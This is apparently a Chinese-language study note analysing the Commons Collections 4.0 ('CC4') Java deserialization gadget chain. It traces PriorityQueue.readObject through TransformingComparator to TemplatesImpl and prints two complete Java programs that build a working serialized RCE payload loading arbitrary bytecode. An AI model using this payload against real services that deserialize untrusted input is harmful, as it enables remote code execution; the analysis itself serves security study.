复现环境:jdk<=8u65,commonsCollections=4.0
CommonsCollections4.x版本移除了InvokerTransformer
类不再继承Serializable
,导致无法序列化.但是提供了TransformingComparator
为CommonsCollections3.x所没有的,又带来了新的反序列化危险.
cc4的执行命令部分依然沿用cc3的TemplatesImpl
,而是对ChainedTransfromer
后面的部分进行了修改,需要找一个新的出口去触发transform方法.
出口链子分析
发现TransformingComparator.compare
能够触发transform
方法
public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2);
}
查找引用
一般来说,反序列化的出口一般是集合类或是能够容纳Object对象且继承自Serializable类的.这里是出现在了PriorityQueue
类.
PriorityQueue
看这个siftDownUsingComparator
方法:
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x;
}
可以看到调用了comparator
的compare
方法.而siftDownUsingComparator
在siftDown
中被调用.
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x);
}
查找一下comparator
的定义如下
private final Comparator<? super E> comparator;
然而这个siftDown
还是私有方法,也没被readObject
调用,依然要往上找.
找到了heapify
方法
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]);
}
这个方法被readObject调用了
看到这个readObject
的逻辑较为简单,比较欣慰
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify();
}
因此我们写出一个利用脚本.
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*; import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map; public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class<?> clazz = templatesimpl.getClass(); Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templatesimpl, "test"); Field field2 = clazz.getDeclaredField("_bytecodes"); field2.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class")); byte[][] codes = {code}; field2.set(templatesimpl, codes); Field field3 = clazz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(templatesimpl, new TransformerFactoryImpl()); ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class); InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl}); Transformer[] transformers = {ct, it}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue pq = new PriorityQueue<>(transformingComparator); serial(pq); unserial(); } public static void serial(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin")); out.writeObject(obj); } public static void unserial() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin")); in.readObject(); }
}
然而跑起来没有弹计算器.断点调试一下,发现下面的问题.在这里要求i>=0
才能进入循环,然而此处(size >>> 1) - 1
的值为-1,无法触发siftDown.
size至少为2才行,使用反射修改size,成功弹出计算器
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*; import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map; public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class<?> clazz = templatesimpl.getClass(); Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templatesimpl, "test"); Field field2 = clazz.getDeclaredField("_bytecodes"); field2.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class")); byte[][] codes = {code}; field2.set(templatesimpl, codes); Field field3 = clazz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(templatesimpl, new TransformerFactoryImpl()); ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class); InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl}); Transformer[] transformers = {ct, it}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue pq = new PriorityQueue<>(transformingComparator); Class clazz1 = pq.getClass(); Field field1 = clazz1.getDeclaredField("size"); field1.setAccessible(true); field1.set(pq, 2); serial(pq); unserial(); } public static void serial(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin")); out.writeObject(obj); } public static void unserial() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin")); in.readObject(); }
}
这里我看的教程因为是使用add去添加元素去赋值从而修改size,导致出现了一串问题.而我直接反射修改size就没有问题.
总结出反序列化链子如下
Gadget chain:
PriorityQueue.readObject()PriorityQueue.heapify() PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()